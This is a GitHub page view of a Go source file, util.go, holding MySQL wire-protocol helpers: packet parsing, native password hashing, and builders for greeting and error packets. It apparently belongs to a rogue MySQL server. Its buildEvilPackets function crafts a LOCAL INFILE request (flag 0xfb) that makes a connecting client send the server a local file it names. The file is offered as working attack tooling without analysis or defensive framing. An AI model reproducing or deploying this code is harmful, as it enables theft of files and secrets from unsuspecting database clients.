-
Notifications
You must be signed in to change notification settings - Fork 0
/
util.go
146 lines (131 loc) · 3.7 KB
/
util.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package main
import (
"bytes"
"crypto/sha1"
"encoding/binary"
"io"
"math/rand"
"net"
"strings"
)
func writeBody(conn net.Conn, buf []byte) {
_, _ = conn.Write(buf)
}
func parseHeader(headerBuf []byte) (uint32, uint8) {
lengthBuf := headerBuf[:3]
lengthBuf = append(lengthBuf, 0)
length := binary.LittleEndian.Uint32(lengthBuf)
packetNum := headerBuf[3]
return length, packetNum
}
func readOnePacket(conn net.Conn) []byte {
headerBuf := make([]byte, 4)
n, err := io.LimitReader(conn, 4).Read(headerBuf)
if n == 0 || err != nil {
return []byte{}
}
length, _ := parseHeader(headerBuf)
// packet number
buf, _ := io.ReadAll(io.LimitReader(conn, int64(length)))
return append(headerBuf, buf...)
}
func parsePackets(buf []byte) (int, [][]byte) {
packetCont := 0
pos := 0
packets := make([][]byte, 0)
length := len(buf)
for pos < length {
l, _ := parseHeader(buf[pos : pos+4])
packetCont += 1
end := pos + 4 + int(l)
packets = append(packets, buf[pos:end])
pos = end
// check if this is a EOF packet
//if p[4] == 0xfe {
// break
//}
}
return packetCont, packets
}
func parseOS(buf []byte) string {
return ""
}
func GetNativePwdHash(password string, salt []byte) []byte {
t := sha1.Sum([]byte(password))
hash1 := sha1.Sum(t[:])
hash2 := sha1.Sum(append(salt, hash1[:]...))
correctHash := make([]byte, 20)
for j := range hash2 {
correctHash[j] = t[j] ^ hash2[j]
}
return correctHash
}
func isQueryPacket(data []byte) bool {
hasQueryFlag := data[4] == 0x03
hasSelect := strings.ToUpper(string(data[5:11])) == "SELECT"
return hasQueryFlag && hasSelect
}
func isQuitPacket(data []byte) bool {
return bytes.Compare(data, []byte{0x1, 0x0, 0x0, 0x0, 0x1}) == 0
}
func buildEvilPackets(filename string) []byte {
packet := make([]byte, 0)
packet = append(packet, 0xfb) // flag
packet = append(packet, []byte(filename)...)
return addMysqlHeader(packet, 1)
}
func addMysqlHeader(data []byte, packerNumber int) []byte {
buf := make([]byte, 0)
t := make([]byte, 4)
binary.LittleEndian.PutUint32(t, uint32(len(data)))
buf = append(buf, t[:3]...)
buf = append(buf, uint8(packerNumber))
buf = append(buf, data...)
return buf
}
func NewGreetingPacket(mysqlVersion, authPlugin string, salt []byte) []byte {
packet := make([]byte, 0)
// protocol
packet = append(packet, uint8(10))
var version [7]byte
// version
copy(version[:], mysqlVersion)
packet = append(packet, version[:]...)
// thread id - 06 00 00 00
packet = binary.LittleEndian.AppendUint32(packet, uint32(rand.Intn(128)))
//packet = append(packet, []byte{0x06, 0x0, 0x0, 0x0}...)
// salt - first part
t := make([]byte, 8)
copy(t, salt[:8])
packet = append(packet, append(t, 0x0)...)
// server capabilities
packet = append(packet, []byte{0xff, 0xff}...)
// server language
packet = append(packet, 0x08)
// server status
packet = append(packet, []byte{0x2, 0x0}...)
// extended capabilities
packet = append(packet, []byte{0xff, 0xc1}...)
// auth plugin length
packet = append(packet, uint8(len(authPlugin)))
// unused
packet = append(packet, []byte{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}...)
// salt - second part
packet = append(packet, append(salt[8:], 0)...)
// auth plugin
packet = append(packet, []byte(authPlugin+"\u0000")...)
x := addMysqlHeader(packet, 0)
return x
}
func NewErrorPacket(errorCode int, sqlState string, errMsg string, packetNumber int) []byte {
packet := make([]byte, 0)
packet = append(packet, uint8(0xff))
buf := make([]byte, 2)
binary.LittleEndian.PutUint16(buf, uint16(errorCode))
packet = append(packet, buf...)
packet = append(packet, 0x23)
packet = append(packet, []byte(sqlState)...)
packet = append(packet, []byte(errMsg)...)
x := addMysqlHeader(packet, packetNumber)
return x
}